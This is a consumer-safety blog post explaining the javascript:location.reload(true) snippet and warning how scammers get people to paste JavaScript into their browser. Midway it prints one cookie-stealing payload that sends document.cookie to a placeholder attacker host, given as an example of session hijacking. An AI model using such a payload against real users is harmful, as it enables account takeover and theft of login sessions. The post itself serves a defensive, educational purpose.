Why javascript:location.reload(true) Keeps Popping Up and How Scammers Use It

Ever had someone tell you to copy and paste javascript:location.reload(true) into your browser’s address bar to “fix” something? I’ve seen this exact scenario play out dozens of times, and it’s honestly one of the most common ways people get tricked online.

Last week, my neighbor called me in a panic. Someone on Facebook told her to paste this weird code into her browser to “unlock hidden features” on Instagram. Thankfully, she asked me first before doing it. But here’s the thing – thousands of people fall for these tricks every single day.

What Is javascript:location.reload(true) Actually Doing?

Let me break this down in simple terms. When you type javascript:location.reload(true) in your browser’s address bar, you’re basically telling your browser to refresh the current page completely. The “true” part forces it to reload everything from scratch, ignoring any cached files.

Sounds harmless, right? Well, that’s exactly what scammers are counting on.

The Basic Breakdown:

• javascript: tells your browser to run JavaScript code
• location.reload() is the command to refresh the page
• The true parameter forces a hard refresh

By itself, this code won’t hack your computer or steal your passwords. But here’s where it gets sneaky.

How Scammers Actually Use JavaScript Location.Reload(True) Tricks

The “Fix Your Account” Scam

This is the most common one I see. Someone posts in a Facebook group or sends you a message saying:

“Hey! Instagram/Facebook is having issues. Copy and paste this code to fix your account: javascript:location.reload(true)“

The scammer isn’t trying to hack you with this specific code. They’re training you to paste random JavaScript into your browser. Once you’re comfortable doing that, they hit you with the real malicious code later.

The Bait and Switch Method

Here’s how this typically goes down:

1. First, they get you comfortable with harmless code like javascript:location.reload(true)
2. You see it works (your page refreshes)
3. They build trust by having you try “safe” codes
4. Then they give you malicious JavaScript that actually steals your login cookies or session data

I’ve seen this exact pattern used to compromise dozens of accounts.

Real JavaScript Cookie Stealing and Session Hijacking

Once scammers have you comfortable pasting code, they switch to something like this (don’t actually run this):

javascript:document.location='http://malicious-site.com/steal.php?cookie='+document.cookie;

This code sends your login cookies to their server, basically handing over your logged-in session. That’s how they take over your accounts without even knowing your password.

Common Malicious JavaScript Variations:

• Cookie stealing scripts that grab your login data
• Form submission codes that change your account settings
• Redirect scripts that send you to fake login pages
• Data harvesting codes that collect your personal information

How People Actually Fall for JavaScript Location.Reload(True) Schemes

The Trust Factor

Most people who fall for these scams aren’t tech-savvy. When someone in a Facebook group or forum says “paste this code to fix your problem,” they trust the community.

I remember helping my aunt last year who got tricked this way. She was having trouble with her Facebook feed, and someone in her local community group told her the javascript:location.reload(true) code would “reset her algorithm.” She tried it, saw her page refresh, and thought it worked.

The Progressive Conditioning

Scammers are smart. They don’t start with malicious code. They start with harmless stuff like:

• javascript:location.reload(true) to “refresh your account”
• javascript:alert('Your account is working!') to “test your browser”
• Simple codes that do exactly what they say they’ll do

Once you’re conditioned to paste code without thinking, they’ve got you.

Red Flags That Should Make You Stop and Think

Anyone Asking You to Paste JavaScript Code

This is the big one. Legitimate tech support will never ask you to paste random code into your browser. If someone says:

“Just paste javascript:location.reload(true) to fix this”

That’s your cue to walk away.

Promises of Hidden Features or Quick Fixes

• “Unlock secret Instagram features”
• “Fix your Facebook algorithm instantly”
• “Get more followers with this one trick”
• “See who viewed your profile”

These are all classic bait lines used to get you to run JavaScript code.

What to Do Instead of Using JavaScript Location.Reload(True)

Proper Ways to Refresh Your Browser:

Instead of pasting code, just:

• Hit Ctrl+F5 (Windows) or Cmd+Shift+R (Mac) for a hard refresh
• Click the refresh button while holding Shift
• Close and reopen your browser
• Clear your browser cache through settings

If Someone Asks You to Run JavaScript Code:

• Don’t do it, period
• Ask yourself why they can’t just tell you to refresh normally
• Report the person if they’re being pushy about it
• Warn others in the group or chat

The Bottom Line on JavaScript Location.Reload(True) Safety

While javascript:location.reload(true) itself won’t harm your computer, it’s often the first step in a bigger scam. Scammers use harmless code to build trust before hitting you with the dangerous stuff.

The safest approach? Never paste JavaScript code from strangers, even if it looks harmless. There are always safer, easier ways to refresh your browser or fix common issues without running random javascript:location.reload(true) commands from people you don’t know.

Also Read: How to Prepare for Machine Learning System Design Interviews